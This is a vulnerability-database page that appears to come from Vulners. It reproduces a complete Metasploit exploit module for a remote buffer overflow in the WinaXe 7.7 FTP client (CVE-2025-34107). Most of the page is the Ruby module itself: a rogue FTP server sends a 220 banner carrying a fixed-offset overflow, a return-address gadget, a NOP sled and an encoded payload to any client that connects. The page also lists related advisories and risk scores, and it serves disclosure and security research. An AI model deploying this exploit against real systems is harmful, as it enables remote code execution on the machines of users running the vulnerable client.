Lucene search
+L

WinaXe 7.7 FTP Client Remote Buffer Overflow

🗓️ 03 Nov 2016 00:00:00Reported by Chris Higgins, hyp3rlixType 
metasploit
 metasploit
🔗 www.rapid7.com👁 19 Views

WinaXe 7.7 FTP Client Remote Buffer Overflow when expecting Server Ready respons

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-34107
29 May 201815:50
circl
cnnvd
CNNVD
LabF WinaXe FTP Client 安全漏洞
15 Jul 202500:00
cnnvd
cve
CVE
CVE-2025-34107
15 Jul 202513:11
cve
cvelist
Cvelist
CVE-2025-34107 WinaXe 7.7 FTP Client Remote Buffer Overflow
15 Jul 202513:11
cvelist
euvd
EUVD
EUVD-2025-21424
3 Oct 202520:07
euvd
nvd
NVD
CVE-2025-34107
15 Jul 202513:15
nvd
ptsecurity
Positive Technologies
PT-2025-29549 · Winaxe · Winaxe Ftp Client
15 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-34107
17 Jul 202513:57
redhatcve
vulnrichment
Vulnrichment
CVE-2025-34107 WinaXe 7.7 FTP Client Remote Buffer Overflow
15 Jul 202513:11
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
          This issue is triggered when a client connects to the server and is
          expecting the Server Ready response.
        },
        'Author' => [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'hyp3rlix' # Original discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34107' ],
          [ 'EDB', '40693'],
          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d"
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows Universal',
            {
              'Offset' => 2065,
              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2016-11-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_client_unknown_command(c, _cmd, _arg)
    c.put("200 OK\r\n")
  end

  def on_client_connect(c)
    print_status("Client connected...")

    sploit = rand_text(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(10)
    sploit << payload.encoded
    sploit << make_nops(20)

    c.put("220" + sploit + "\r\n")
    c.close
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2016 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 48.7
EPSS0.00757
SSVC
19